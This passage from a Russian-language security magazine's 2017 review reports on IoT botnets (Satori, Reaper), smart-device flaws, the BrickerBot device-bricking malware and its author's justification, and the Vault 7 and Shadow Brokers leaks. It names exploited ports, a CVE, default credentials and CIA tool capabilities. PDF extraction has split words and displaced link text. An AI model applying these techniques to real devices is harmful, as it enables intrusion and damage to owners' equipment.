20  тысяч,  с  чем  в  ито ге  сог ласились  и  спе циалис ты Netlab  360,  тоже  скор‐ 
ректи ровав шие  свою  ста тис тику.  Впро чем,  иссле дова тели  полага ют,  что
еще  око ло  двух  мил лионов  IoT‐устрой ств  дей стви тель но  могут  рас смат‐ 
ривать ся как потен циаль ные мишени для зараже ния Reaper.

пред ста вили  собс твен ный  отчет
о  про исхо дящем

В  нояб ре  и  декаб ре  2017  года  спе циалис ты  так же 
 Mirai‐бот нетов в Аргенти не,  который свя зыва ют с обна‐ 

родо вани ем в пуб личных базах уяз вимос тей нового proof‐of‐concept экс пло‐ 
ита для роуте ров ZyXEL.

об наружи ли  рез кий
при рост активнос ти

Не извес тные зло умыш ленни ки взя ли новый экс пло ит на воору жение, при‐ 
няв шись  искать  и  заражать  проб лемные  устрой ства.  По  дан ным  Qihoo  360
Netlab,  за  60  часов  наб людений  уда лось  обна ружить  более  100  тысяч  IP‐
адре сов, ведущих ска ниро вания.

В  декаб ре  ,  свя зыва ющая  дан ный  всплеск
активнос ти  с  новым  Mirai‐бот нетом  Satori.  Иссле дова тели  утвер жда ют,  что
бот нет  воз ник  5  декаб ря  2017  года,  слов но  ниот куда,  и  при нял ся  мас сово
ска ниро вать  пор ты  37215  и  52869.  Все го  за  12  часов  наб людений  уда лось
заметить,  что  активность  Satori  исхо дит  более  чем  с  280  тысяч  раз ных  IP‐
адре сов.

воз никла  любопыт ная  теория

Дан ная  вари ация Mirai  замет но  отли чает ся  от  пре дыду щих  вер сий.  Если
обыч ная  вер сия Mirai  работа ет  как  Telnet‐ска нер,  при  этом  исполь зуя  длин‐ 
ные спис ки дефол тных логинов и паролей, то Satori име ет на воору жении два
экс пло ита.  Так,  по дан ным Qihoo 360 Netlab,  263 250  IP‐адре сов ска ниру ют
порт  37215  в  поис ках  новых  жертв,  а  еще  19  403  IP‐адре са  ска ниру ют
порт 52869.

Су дя  по  все му,  порт  37215  исполь зует ся  для  экс плу ата ции  некой  уяз‐ 
вимос ти нулево го дня, чем и объ ясня ется стре митель ный рост бот нета Satori.
Дэйл Дрю (Dale Drew), глав ный стра тег по воп росам безопас ности круп ного
про вай дера  CenturyLink,  пред положил,  о  какой  имен но  уяз вимос ти  может
идти речь.

По  мне нию  Дрю,  Satori  экс плу ати рует  0day‐баг  в  роуте рах  Huawei  Home
Gateway.  Уяз вимость,  поз воля ющую  выпол нить  на  этих  устрой ствах  про‐ 
изволь ный код, в кон це нояб ря 2017 года обна ружи ли спе циалис ты ком пании
Check Point. К сожале нию, под робнос тей о дан ной бре ши пока прак тичес ки
нет.  По  дан ным  поис ковика  Shodan,  в  онлай не  мож но  обна ружить
не менее 225 тысяч уяз вимых девай сов.

Экс пло ит для пор та 52869, который так же исполь зует Satori, — это извес тная
и  доволь но  ста рая  уяз вимость  в  устрой ствах  ком пании  Realtek  (CVE‐2014‐
8361). В боль шинс тве слу чаев обновле ние, зак рыва ющее эту брешь, уже дав‐ 
но уста нов лено на устрой ствах, и, оче вид но, имен но этим объ ясня ется мень‐ 
ший успех таких ска ниро ваний.

«Аргентин ская»  вер сия  Mirai  так же  исполь зует  ряд  экс пло итов  для  IoT‐
устрой ств, и спе циалис ты Qihoo 360 Netlab отме чают, что Satori и это го вре‐ 
доно са «род нят» оди нако вые име на некото рых фай лов и C&C‐про токо лы.

→ Об наружен новый вари ант бот нета Tsunami — Amnesia. В сос тав бот‐ 
нета  вхо дят  уяз вимые  DVR‐девай сы  китай ско го  про изво дите ля  TVT
Digital, которые про дают ся по все му миру более чем под 70 раз личны‐ 
ми брен дами

→ Эк спер ты Trend Micro замети ли появ ление нового IoT‐бот нета Persirai.
Угро за ата кует более тысячи раз личных моделей камер, экс плу ати руя
извес тные  уяз вимос ти,  а  затем  исполь зует  заражен ные  устрой ства
для про веде ния DDoS‐атак

→ На  Pastebin  опуб ликован  огромный  спи сок  IP‐адре сов  и  пар
логин‐пароль  для  «умных»  устрой ств.  В  боль шинс тве  слу чаев
это были учет ные дан ные по умол чанию, то есть admin:admin, root:root
и так далее

Ум ные и опас ные
Од на из основных проб лем интерне та вещей — халат ность про изво дите лей
«умных» устрой ств. Спе циалис ты по информа цион ной безопас ности регуляр‐ 
но  обна ружи вают  кри тичес кие  уяз вимос ти  в  IoT‐гад жетах,  и  зачас тую  такие
баги вооб ще не получа ют каких‐либо исправ лений. Из‐за таких «дыр» устрой‐ 
ства не толь ко ста новят ся учас тни ками бот нетов, но и ста вят под угро зу лич‐ 
ные дан ные сво их  вла дель цев,  прев раща ясь  в опас ных  сог лядата ев и  «сла‐ 
бое зве но» в безопас ности. При меров опас ного поведе ния «умных» гад жетов
мож но при вес ти мно жес тво.

Спе циалис ты ком пании Rhino Security Labs   в сер висе
Amazon Key. Дан ное нов шес тво  ком пании Amazon  с  самого  начала  выз вало
мно го воп росов как у прос тых поль зовате лей, так и у экспер тов по безопас‐ 
ности.

наш ли опас ный баг

Сер вис  для  «умных»  домов  был  пред став лен  в  кон це  октября  2017  года
и  объ еди нил  камеры  Cloud  Cam  с  под ходящи ми  зам ками  (к  при меру,  Yale
и Kwikset), что бы гад жеты мог ли самос тоятель но впус кать в дома поль зовате‐ 
лей курь еров, убор щиков и дру гой обслу жива ющий пер сонал, пока хозя ев нет
дома. Кон тро лиро вать выдачу «клю чей» поль зовате ли могут с помощью спе‐ 
циаль ного  при ложе ния,  и  Amazon  Key  уже  зарабо тал  для  дос тавки  товаров
с самого Amazon.

Так,  что бы  попасть  в  дом  или  квар тиру,  курь ер  Amazon  дол жен  при ехать
в наз начен ное вре мя, прос каниро вать штрих‐код, который про ходит про вер ку
в обла ке, и толь ко пос ле это го замок откро ется. Камера допол нитель но фик‐ 
сиру ет  все  про исхо дящее,  что бы  поль зователь  мог  прос мотреть  запись
или  видео  с  камеры  в  пря мом  эфи ре  и  убе дить ся,  что  во  вре мя  дос тавки
не про изош ло ничего подоз ритель ного.

Ана лити ки Rhino Security Labs приш ли к выводу, что зло умыш ленник может
обма нуть сис тему, оста новить виде оза пись и пов торно про ник нуть в квар тиру
поль зовате ля пос ле или во вре мя дос тавки посыл ки.

Не менее опас ную уяз вимость экспер ты ком пании Check Point 
в инфраструк туре «умных» домов, где исполь зуют ся решения LG. Уяз вимость
была  най дена  в  сос таве  при ложе ния  LG  SmartThinQ,  при  помощи  которо го
поль зовате ли  могут  управлять  раз личны ми  устрой ства ми,  в  том  чис ле  пли‐ 
тами, кон дици оне рами, посудо моеч ными и сти раль ными машина ми, пылесо‐ 
сами.

об наружи ли

Как  ока залось,  ата кующий  может  ском про мети ровать  про цесс  аутен‐ 
тифика ции  меж ду  SmartThinQ  и  бэкен дом  LG.  В  резуль тате  зло умыш ленник
перех ватит управле ние акка унтом поль зовате ля и смо жет кон тро лиро вать все
IoT‐девай сы,  при вязан ные  к  дан ному  про филю.  Затем  мож но  будет  устра‐ 
ивать ата ки в сти ле «Мис тера Робота», к при меру спро воци ровать перег рев
духов ки, изме нить тем перату ру в помеще нии или поп росту сле дить за сво ей
жер твой через камеры, встро енные в «умные» устрой ства.

Так же в этом году ста ло понят но, что парано икам явно не сто ит при обре‐ 
тать «умные» колон ки про изводс тва Google или Amazon.

Спе циалист ком пании MWR Labs  , что колон ки Amazon Echo, уком‐ 
плек тован ные  голосо вым  ассистен том  Alexa,  мож но  прев ратить  в  под слу‐ 
шива ющие устрой ства, работа ющие на бла го зло умыш ленни ка. Эксперт при‐ 
шел к выводу, что модели колонок, выпущен ные в 2015–2016 годах, уяз вимы
перед ата ками типа evil maid («злая гор ничная»; то есть подоб ный хак может
подс тро ить  вхо жий  в  дом  жер твы  человек,  с  дос тупом  к  Amazon  Echo).
Это озна чает, что ата кующий может получить root‐дос туп к устрой ству и зас‐ 
тавить  колон ку  тай но перех ватывать сиг нал с мик рофона и переда вать  куда
заб лагорас судит ся.

до казал

Пред став ленные осенью 2017 года домаш ние колон ки Google Home Mini
и  Max,  со  встро енным  голосо вым  помощ ником  Google  Assistant,  обла дают
похожей  проб лемой,  толь ко  в  дан ном  слу чае  за  вла дель цами  устрой ств
«шпи они ла» сама ком пания Google.

Изъ ян  заметил  жур налист  Артем  Рус саков ский  (Artem  Russakovskii),
получив ший  девайс  на  офи циаль ной  пре зен тации.  Хотя  устрой ство  дол жно
акти виро вать ся,  толь ко  ког да  «услы шит»  голосо вые  коман ды  «OK,  Google»
или  «Hey, Google»,  а  так же длин ным нажати ем на спе циаль ную панель, ока‐ 
залось, что Google Home Mini вклю чает ся самоп роиз воль но, записы вает все,
что про исхо дит вок руг, а затем отправ ляет эти дан ные на сер веры Google.

Как  толь ко  жур налист  сооб щил  о  про исхо дящем  спе циалис там  Google,
сбо ящее устрой ство немед ленно заб рали для про веде ния тес тов. Как поз же
сооб щили  Рус саков ско му,  при чиной  самоп роиз воль ных  вклю чений  и  круг‐ 
лосуточ ного шпи она жа устрой ства стал некий аппа рат ный баг в работе сен‐ 
сорной  панели  (оче вид но,  она  ока залась  слиш ком  чувс тви тель ной,  что
и вызыва ло «фан томные нажатия»).

Чем  еще  могут  гро зить  поль зовате лям  уяз вимос ти  в  IoT‐устрой ствах?
Всем  чем  угод но,  начиная  от  при горев шего  пирога  и  закан чивая  физичес‐ 
кими  трав мами.  Ниже  перечис лены  лишь  некото рые  проб лемы,  най ден ные
ИБ‐спе циалис тами в 2017 году.

→ Ис сле дова тели ком паний Whitescope и QED Secure Solutions уда лен‐ 
но  взло мали  бес контак тную  авто мой ку  PDQ  LaserWash,  зас тавив
авто мати чес кие  две ри  и  механи чес кие  манипу лято ры  ата ковать
находя щий ся внут ри авто мобиль

→ Бо лее чем 465 тысячам паци ентов с кар диос тимуля тора ми при дет ся
обра тить ся  к  вра чам  за  получе нием  кри тичес кого  обновле ния
для  сво их  устрой ств.  Дело  в  том,  что  кар диос тимуля торы  и  дефиб‐ 
рилля торы ком пании St. Jude Medical содер жат мно гочис ленные уяз‐ 
вимос ти

→ Эк спер ты  Pen  Test  Partners  ском про мети рова ли  «умный»  виб ратор
Svakom Siime Eye, осна щен ный встро енной камерой. Ока залось, что
зло умыш ленни ки могут не толь ко получить дос туп к чужим интимным
записям и тран сля циям, но и вооб ще под менить про шив ку устрой ства

→ Ана литик  Equus  Software  про вел  аудит  безопас ности  ОС  Tizen,
под управле нием которой работа ют гад жеты Samsung: око ло 30 мил‐ 
лионов  «умных»  телеви зоров,  сти раль ные  машины,  холодиль ники,
часы,  а  так же  некото рые  смар тфо ны.  Эксперт  выявил  в  ОС  более
сорока уяз вимос тей нулево го дня и при шел в ужас от качес тва кода

→ Спе циалис ты  Pen  Test  Partners  обна ружи ли,  что  пли ты  серии  iTotal
Control,  про изве ден ные  ком пани ей  Aga,  мож но  ском про мети ровать,
прос то отпра вив им неав торизо ван ное SMS‐сооб щение

BrickerBot
В кон це мар та 2017 года спе циалис ты ком пании Radware   стран‐ 
ную  мал варь  BrickerBot,  которая  выводи ла  из  строя  IoT‐устрой ства,  умыш‐ 
ленно  пов реждая  ядро  и  делая  невоз можным  хра нение  дан ных.  Вре донос
«охо тил ся»  на  устрой ства  Linux  BusyBox.  Изна чаль но  иссле дова тели  наш ли
две  вер сии  BrickerBot  (BrickerBot.1  и  BrickerBot.2),  а  поз же 
улуч шенные вари ации — BrickerBot.3 и BrickerBot.4.

об наружи ли

бы ли  замече ны

Во вре мя пер вой фазы ата ки BrickerBot дей ству ет точ но так же, как Mirai,
Hajime,  LuaBot  и  дру гая  IoT‐мал варь:  ведет  сло вар ную  ата ку,  то  есть  брут‐ 
форсит устрой ство через Telnet, пыта ясь подоб рать учет ные дан ные. В коде
вре доно са  жес тко  закоди рова ны  спис ки  логинов  и  паролей  по  умол чанию,
исполь зуемые для раз ных устрой ств.

Ес ли  учет ные  дан ные  подош ли,  начина ется  вто рая  фаза  ата ки,  в  ходе
которой BrickerBot пов режда ет  устрой ство. Что бы вывес ти девайс из строя,
BrickerBot исполь зует нес коль ко раз личных  тех ник, и имен но в них зак люча‐ 
ется раз ница меж ду вер сиями вре доно са. Тем не менее цель всег да одна –
прев ратить устрой ство в бес полез ный «кир пич».

В  резуль тате  гад жет  перес тает  работать  за  счи таные  секун ды  пос ле
зараже ния. Экспер ты отно сят такие ата ки к PDoS (Permanent Denial of Service,
«пос тоян ный отказ в обслу жива нии»), а так же называ ют их phlashing.

Ана лити ки Radware сра зу пред положи ли, что автор вре доно са может быть
сво его  рода  «мсти телем»,  который  зачища ет  сеть  от  небезо пас ных  устрой‐ 
ств, пре пода вая жес токий урок их вла дель цам. Все же BrickerBot — это ред‐ 
кий  в  наши  дни  обра зец  мал вари,  которая  соз дана  не  ради  финан совой
выгоды.

Вско ре жур налис ты изда ния Bleeping Computer про вели 
  и  не  толь ко  вычис лили,  кто  раз работ чик  мал вари,  но  и  сумели

с ним пооб щать ся. Беседа показа ла, что сот рудни ки Radware были абсо лют‐ 
но  пра вы.  Соз дателем  BrickerBot  ока зал ся  хакер,  извес тный  под  псев‐ 
донимом  janit0r. Он рас ска зал,  что его,  как и мно гих,  пот рясли бес порядоч‐ 
ные  DDoS‐ата ки,  которые  в  2016  году  устра ива ли  IoT‐бот неты.  Janit0r
полагал,  что  эти  круп ные  инци ден ты  вынудят  индус трию  взять ся  за  ум
и начать дей ство вать сооб ща, но вско ре ста ло оче вид но, что ничего подоб‐ 
ного  не  про исхо дит.  Тог да  хакер  решил  взять  дело  в  свои  руки  и  написал
BrickerBot.

собс твен ное рас‐ 
сле дова ние

«Я  рас смат риваю  свой  про ект  как  фор му
„хими оте рапии для интерне та“, а о себе иног- 
да  в  шут ку  думаю  как  о  Док торе.  Хими оте- 
рапия — это жес ткое лечение, и ник то в трез- 
вом  уме  не  наз начит  ее  здо рово му  паци енту,
но интернет серь езно заболел в треть ем и чет- 
вертом квар тале 2016 года, а обыч ных средств
ока залось  недос таточ но.  Побоч ные  эффекты
от  лечения  жес токи,  но  аль тер натива  (мил- 
лион ные  DDoS-бот неты)  была  бы  гораз до
хуже. Я могу лишь наде ять ся на то, что, ког да
у  IoT  нас тупит  рецидив,  мы  най дем  луч шие
спо собы решения проб лем», — писал janit0r.

Как выяс нилось, ана лити ки Radware опи сали BrickerBot не сов сем точ но и на
самом деле мал варь была  гораз до слож нее. По сло вам раз работ чика, речь
шла  об  исполь зовании  86  про токо лов  и  payload,  спе цифич ных  для  опре‐ 
делен ных устрой ств. К тому же janit0r объ яснил, что сна чала BrickerBot пыта‐ 
ется помочь заражен ному устрой ству, устра нив най ден ные в нем уяз вимос ти,
ничего при этом не пов реждая. «Окир пичива ние» — это «план Б», если дру гие
методы не сра бота ли.

Janit0r  сооб щил,  что  уже  в  янва ре  2017  года  количес тво  пос тра дав ших
от  атак  BrickerBot  устрой ств  сос тавля ло  200  тысяч,  а  на  момент  обще ния
с жур налис тами и вов се перешаг нуло отметку в два мил лиона.

«Ког да‑то отметка в 200 тысяч „окир пичен ных“
юни тов виделась мне чем‑то боль шим, и я был
уве рен, что приб лижа юсь к кон цу. Теперь счет
перева лил за два мил лиона, и ста ло ясно, что
я  не  пред став лял  (и  до  сих  пор  не  пред став- 
ляю), нас коль ко глу бока кро личья нора небезо- 
пас ности  IoT.  Уве рен,  худ шее  ждет  нас  впе- 
реди, —  пишет  janit0r. — Наде юсь,  необыч ное
поведе ние BrickerBot помог ло пра витель ствам,
вен дорам  и  индус трии  в  целом  выиг рать
еще  один  год,  за  который  они  смо гут  взять
текущий  кош мар  IoT-безопас ности  под  кон- 
троль».

В час тнос ти, от атак BrickerBot 
 и его кли енты. Инци дент про изо шел 10 апре ля 2017 года: або нен ты вре‐ 

мен но  лишились  дос тупа  в  интернет  и  телефон ной  свя зи.  Хотя  изна чаль но
пред полага лось,  что  проб лема  была  выз вана  неудач ным  обновле нием  ПО,
которое  рас простра нила  ком пания,  11  апре ля  пред ста вите ли  про вай дера
сооб щили, что Sierra Tel стал жер твой хакеров. Факт ата ки под твер дил и сам
janit0r, он полага ет, что «Sierra незас лужен но получи ла пло хой PR лишь из‐за
того, что была чес тна отно ситель но хака и не ста ла ничего скры вать».

пос тра дал калифор ний ский про вай дер Sierra
Tel

Проб лема зак лючалась в ата ках на модемы ZyXEL HN‐51, которые Sierra Tel
мас сово  пре дос тавля ет  сво им  кли ентам.  Пос ле  атак  BrickerBot  устрой ства
уже не мог ли фун кци они ровать нор маль но, и пред ста вите ли про вай дера ста‐ 
ли  совето вать  пос тра дав шим  обра щать ся  в  офи сы  ком пании  за  заменой.
Одна ко  в Sierra  Tel  недо оце нили мас шта бы проб лемы:  уже  через нес коль ко
часов  модемы  для  замены  поп росту  закон чились,  а  пос тра дав шие  поль‐ 
зовате ли про дол жали при ходить в офи сы. В ито ге сот рудни ки ком пании были
вынуж дены  забирать  у  поль зовате лей  вышед шее  из  строя  обо рудо вание,
обе щая  отре мон тировать  или  заменить  его  «в  самом  ско ром  будущем».
Окон чатель но пос ледс твия инци ден та были устра нены лишь в кон це апре ля.

В декаб ре 2017 года автор BrickerBot неожи дан но 
с  изда нием  Bleeping  Computer.  Как  ока залось,  janit0r  решил  уйти  на  покой,
а за про шед ший год ему уда лось вывес ти из строя или «спас ти» более десяти
мил лионов устрой ств.

вновь вышел на связь

К  дан ному  решению  gray  hat’а  под тол кну ли  не  толь ко  воз можные  юри‐ 
дичес кие пос ледс твия его дей ствий. Дело в том, что мил лионы ском про мети‐ 
рован ных  устрой ств  janit0r  скло нен  рас смат ривать  как  успех,  но  недав но  он
задумал ся  о  дру гой  сто роне  проб лемы:  о  том,  что  из‐за  его  деятель нос ти
люди  поч ти  перес тали  боять ся  интерне та  вещей  и  забыли,  как  мно го  уяз‐ 
вимых девай сов окру жают их каж дый день.

В  ито ге  хакер  решил,  что  приш ло  вре мя  оста новить ся,  он  более
не намерен вме шивать ся в «естес твен ный ход вещей». Перед ухо дом  janit0r
обна родо вал  часть  исходных  кодов  BrickerBot  и  его  ата кующих  модулей,
которые счел  наиме нее опас ными.  К  при меру,  пуб ликовать  кра улер SSH он
все же не решил ся.

→ По  дан ным  иссле дова телей  Securai,  роуте ры  TP‐Link  M5350  готовы
сооб щить пароль адми нис тра тора (в фор мате обык новен ного тек ста)
любому, кто приш лет SMS‐сооб щение с соот ветс тву ющим зап росом

→ Ком пания IOActive пре дуп редила, что более двад цати моделей роуте‐ 
ров Linksys мож но пол ностью ском про мети ровать уда лен но

→ Не зави симые  спе циалис ты  выяви ли  уяз вимос ти  в  DVR‐сис темах
и  камерах  наб людения  китай ской  ком пании  Dahua,  а  так же
в  камерах  354  дру гих  про изво дите лей,  которые  ком плек туют  свои
гад жеты «дырявым» веб‐сер вером

→ Ана лити ки Wordfence замети ли, что «дырявые» роуте ры государс твен‐ 
ного  алжир ско го  про вай дера  Telecom  Algeria  мас сово  брут форсят
сай ты под управле нием WordPress



VAULT 7: WIKILEAKS
ПУБЛИКУЕТ
ИНСТРУМЕНТЫ ЦРУ
В  мар те  2017  года  сайт  Wikileaks    боль шого  дам па
под кодовым наз вани ем Vault 7, содер жащего под робнос ти работы Цен траль‐ 
ного  раз ведыва тель ного  управле ния  (ЦРУ) США. Пер вая  пуб ликация  выш ла
под  наз вани ем  «Год  зеро»  (Year  Zero)  и  содер жала  8761 файл  из  зак рытой
сети Цен тра ради отех ничес кой и элек трон ной раз ведки ЦРУ в Лэн гли. Тог да
офи циаль ный пресс‐релиз гла сил:

на чал  пуб ликацию

«Недав но ЦРУ утра тило кон троль над боль шей
частью  сво его  хакер ско го  арсе нала,  вклю чая
вре донос ное  ПО,  вирусы,  тро яны,  экс пло иты
для  уяз вимос тей  нулево го  дня,  вре донос ные
сис темы  уда лен ного  дос тупа  и  свя зан ную
с  этим  докумен тацию.  Эта  исклю читель ная
кол лекция,  нас читыва ющая  нес коль ко  сотен
мил лионов строк кода, дару ет сво им обла дате- 
лям  всю  хакер скую мощь ЦРУ. Дан ный  архив,
судя  по  все му,  без  над лежаще го  раз решения
цир кулиро вал  сре ди  быв ших  пра витель ствен- 
ных  хакеров  США  и  под рядчи ков,  один
из  которых  пре дос тавил  часть  архи ва  в  рас- 
поряже ние Wikileaks».

В  ито ге  дос тоянием  общес твен ности  ста ла  информа ция  о  боль шой  час ти
хакер ско го  арсе нала  ЦРУ.  При  этом  само  киберо ружие  опуб ликова но
не  было,  но  докумен тация  про лива ла  свет  на  кон крет ные  тех ники  и методы
спец служб, давала понять, какие уяз вимос ти име ются в арсе нале ЦРУ, и рас‐ 
ска зыва ла,  нап ример,  о  том,  что  даже  «умный»  телеви зор  может  шпи онить
за сво им вла дель цем.

С  мар та  по  август  2017  года  под  гри фом  Vault  7  поч ти  каж дую  неделю
выходи ли новые пуб ликации, в деталях повес тву ющие о работе хакеров спец‐ 
служб  и  их  инс тру мен тах.  ][  рас ска зывал  поч ти  обо  всех  этих  релизах  под‐ 
робно:

 — инс тру мент для взло ма телеви зоров Samsung;• Weeping Angel
 — решения для взло ма

iPhone и Mac;
• Sonic Screwdriver, DarkSeaSkies, Triton и NightSkies

 — один из наибо лее «безобид ных» инс тру мен тов в арсе нале ЦРУ,
пред назна чен  для  обфуска ции  кода,  поз воля ет  «сбить  со  сле да»  кибер‐ 
кри мина лис тов и обма нуть анти вирус ные решения;

• Marble

 — фрей мворк для соз дания Windows‐мал вари;• Grasshopper
 — инс тру мент, поз воля ющий помечать и отсле живать фай лы Mi‐

crosoft Office;
• Scribbles

 — два фрей мвор ка для Windows‐мал вари;• AfterMidnight и Assassin
  —  имплант  для  зараже ния  прак тичес ки  любых  Windows‐сис тем,

раз работан ный сто рон ней ком пани ей;
• Athena

 — «устой чивый» имплант. Пред назна чен для атак на устрой ства
под управле нием Windows, исполь зующим общие пап ки, к которым поль‐ 
зовате ли обра щают ся пос редс твом SMB;

• Pandemic

 — инс тру мент для ком про мета ции раз ных моделей домаш‐ 
них роуте ров;

• CherryBlossom

 — решение для  про ник новения  в  изо‐ 
лиро ван ные от сети и офлай новые компь юте ры;

• Brutal  Kangaroo  (ранее EZCheese)

 — отсле жива ет мес тополо жение поль зовате лей,  которые работа ют
с под держи вающи ми Wi‐Fi  устрой ства ми  (к при меру, ноут буками на базе
ОС семей ства Windows);

• ELSA

 — модуль ядра для Linux 2.6, который помога ет спе циалис‐ 
там  ЦРУ  перенап равлять  исхо дящий  тра фик  с  заражен ного  устрой ства
на сто рону;

• OutlawCountry

 —  инс тру мен ты  для  хищения  учет ных  дан ных  SSH
и прос лушива ния тра фика;

• BothanSpy  и  Gyrfalcon

 — Android‐при ложе ние  для  перех вата  и  перенап равле ния SMS‐
сооб щений;

• HighRise

 — решения для взло ма macOS и POSIX‐сис тем;• Achilles, Aeris и SeaPea
 — инс тру мент для отклю чения камер, мик рофонов, сетевых адап‐ 

теров и любой сле дящей аппа рату ры;
• Dumbo

 — решение для уда лен ного зах вата виде опо токов;• CouchPotato
  —  инс тру мент,  который  помога ет  ЦРУ  прис матри вать

за ведомс тва ми‐пар тне рами, в чис ло которых вхо дят ФБР, АНБ и Минис‐ 
терс тво внут ренней безопас ности;

• ExpressLane

 — фрей мворк для атак на компь юте ры, работа ющие под управле‐ 
нием Windows XP и Windows 7.

• Angelfire

Од нако  во  всех  этих  дам пах  Wikileaks  обна родо вала  имен но  докумен тацию
(пусть  час то  и  сек ретную),  но  не  показы вала  сами  инс тру мен ты  и  исходные
коды. Еще в мар те Джу лиан Ассанж про вел онлай новую пресс‐кон ферен цию,
в  ходе  которой  пояс нил,  что  вна чале  Wikileaks  дол жна  дать  фору  про изво‐ 
дите лям и поделить ся под робнос тями и исходны ми кодами с круп ными вен‐ 
дорами, уяз вимос ти в про дук тах которых экс плу ати руют спец служ бы. «Пос ле
это го, ког да мы „разору жим“ эти прог раммы, уда лив из них кри тичес кие ком‐ 
понен ты, мы опуб лику ем допол нитель ные детали слу чив шегося», — заверял
тог да Ассанж.

Лишь  в  начале  нояб ря  2017  года Wikileaks 
.  Пор тал  анон сировал  новую  серию  пуб ликаций,  которая  получи ла

наз вание  Vault  8.  Под  этим  име нем  Wikileaks  пообе щала  вык ладывать
исходные коды пра витель ствен ной мал вари и инс тру мен тов.

на чала  прет ворять  эти  сло ва
в  жизнь

Пер вые исходни ки уже были обна родо ваны. Начало цик лу пуб ликаций Vault
8  положил  тул кит  Hive  —  фрей мворк,  пред назна чен ный  для  управле ния
имплан тами на заражен ных компь юте рах. При этом в исходных кодах Hive был
обна ружен очень инте рес ный нюанс. Дело в  том, что для мас киров ки сво ей
деятель нос ти Hive исполь зовал под дель ные циф ровые сер тифика ты, выдавая
себя за «Лабора торию Кас пер ско го». Таким обра зом, для сис темно го адми‐ 
нис тра тора,  изу чающе го  логи,  подоз ритель ный  тра фик,  иду щий  от  мал вари
ЦРУ  в  сети  его  орга низа ции,  выг лядел  как  стран ная  активность,  нап рямую
свя зан ная с «Лабора тори ей Кас пер ско го» и ее про дук тами.

Ев гений  Кас пер ский  пос пешил  сооб щить  в  сво ем  твит тере,  что  спе‐ 
циалис ты «Лабора тории Кас пер ско го» про вери ли эту информа цию и приш ли
к  выводу,  что  сер тифика ты  дей стви тель но  были  под делкой,  то  есть  поль‐ 
зовате ли, сер висы и при ват ные клю чи ком пании никак не пос тра дали. Пос ле
это го новых пуб ликаций под эги дой Vault 8 более не выходи ло. Ждем рас кры‐ 
тия дру гих исходни ков в 2018 году.

→ В ходе изу чения дан ных Vault 7 экспер ты Symantec приш ли к выводу,
что ЦРУ свя зано как минимум с сорока ата ками на раз личные пред‐ 
при ятия и орга низа ции в шес тнад цати стра нах мира

→ Пред ста вите ли ком паний Apple и Google сооб щили, что боль шинс тво
уяз вимос тей,  которые  исполь зовало  в  сво их  решени ях  ЦРУ,  уже
исправ лены



УТЕЧКА ЭКСПЛОИТОВ
АНБ
По ка Wikileaks  рас ска зыва ла  все му  миру  о  хакер ском  инс тру мен тарии  ЦРУ,
зва ние  глав ного  «сли ва»  года  заво ева ли дам пы,  опуб ликован ные  хакер ской
груп пой The Shadow Brokers.

Ис тория о похище нии «киберо ружия АНБ» началась еще летом 2016 года,
и мы   за раз вити ем событий. Поч ти год, вплоть до вес‐ 
ны  2017‐го,  груп пиров ка  The  Shadow  Brokers  тщет но  пыталась  про дать
огромный дамп дан ных, в сос тав которо го вош ли похищен ные у АНБ экс пло‐ 
иты  для  самых  раз ных  плат форм.  Хакеры  не  раз  доказы вали,  что  в  их  руках
дей стви тель но  есть  цен ная  информа ция  и  они  не  бле фуют.  Груп пиров ка
пыталась  устро ить  аук цион,  кра удфандинг,  пыталась  дро бить  дамп на  час ти
и  выс тавлять  на  про дажу  отдель ные  инс тру мен ты,  но  не  помога ло  нич то.
Покупа тель так и не нашел ся. Отча явшись, The Shadow Brokers даже успе ли
объ явить, что ухо дят на покой.

вни матель но сле дили

В  апре ле  2017  года  груп па  прер вала  дли тель ное  мол чание.  Боль ше
хакеры не пред при нима ли попыток про дать укра ден ную у АНБ информа цию,
они прос то опуб ликова ли экс пло иты в откры том дос тупе и совер шенно бес‐ 
плат но. Пер вый «слив» был пос вящен 

, а через неделю груп па опуб ликова ла вто рой дамп, 
.

инс тру мен там для ком про мета ции Unix‐
сис тем со дер жащий экс‐ 
пло иты для Windows

В  ито ге  The  Shadow  Brokers  мож но  кос венно  обви нить  в  полови не  воз‐ 
никав ших в 2017 году проб лем и круп ных атак. Ведь имен но раз личные инс‐ 
тру мен ты из утек шего в Сеть арсе нала АНБ (вклю чая EternalBlue, DoublePul‐
sar,  EternalSynergy  и  EternalRomance)  исполь зовались  во  вре мя  инци ден тов
WannaCry, NotPetya, Bad Rabbit, а  так же были взя ты на воору жение сот нями
хакер ских групп и вирусо писа телей.

Са ми The Shadow Brokers при этом не исчезли со сце ны. В мае 2017 года
груп пиров ка  ,  что  в  откры том  дос тупе  были  опуб ликова ны  далеко
не все цен ные дан ные. Ког да эпи демия WannaCry сде лала The Shadow Bro‐
kers неп лохую рек ламу,  хакеры пред ложили всем жела ющим офор мить под‐ 
писку на сер вис «Еже месяч ный дамп The Shadow Brokers» (TheShadowBrokers
Data Dump of the Month), чье наз вание говорит само за себя.

со общи ла

Груп пиров ка  пообе щала  еже месяч но  пуб ликовать  новые  хакер ские  инс‐ 
тру мен ты  для  сво их  под писчи ков,  в  том  чис ле  экс пло иты  для  бра узе ров,
роуте ров, мобиль ных устрой ств и Windows 10, ском про мети рован ные дан ные
из сетей про вай деров SWIFT и бан ков, а так же дан ные о ядер ных и ракет ных
прог раммах Рос сии,  Китая, Ира на  и Север ной Кореи. Сна чала  хакеры оце‐ 
нили под писку в 100 Zcash (око ло 22 тысяч дол ларов по кур су на тот момент),
но  поз же  под няли  цену  до  200  ZEC  (Zcash)  или  1000  XMR  (Monero),  то
есть 46–64 тысячи дол ларов в то вре мя.

Спе циалис ты  по  информа цион ной  безопас ности  Мэтью  Хики  (Matthew
Hickey),  @X0rz,  Николас  Уивер  (Nicholas  Weaver)  и  Тим  Страц цере  (Tim
Strazzere)  попыта лись  сде лать  доб рое  дело  и  запус тили  на  Patreon  кра‐ 
удфандин говую кам панию по сбо ру средств на при обре тение новых экс пло‐ 
итов. Спе циалис ты рас счи тыва ли под писать ся на рас сылку хакеров, а пос ле
сра зу передать экс пло иты и информа цию о багах про изво дите лям уяз вимых
решений.  Пред полага лось,  что  жер тво вате ли,  поучас тво вав шие  в  сбо ре
средств, так же получат дос туп к дам пу, но пос ле про изво дите лей.

Хо тя все го за 36 часов было соб рано поч ти четыре тысячи дол ларов, в ито ге
.  Дело  в  том,  что  ини циато ры  сбо ра

средств  все  же  решили  посове товать ся  с  юрис тами —  а  те  приш ли  в  ужас
от про исхо дяще го.

кра удфандин говую  кам панию  зак рыли

«Если  захоти те  услы шать,  как  адво кат  кри чит
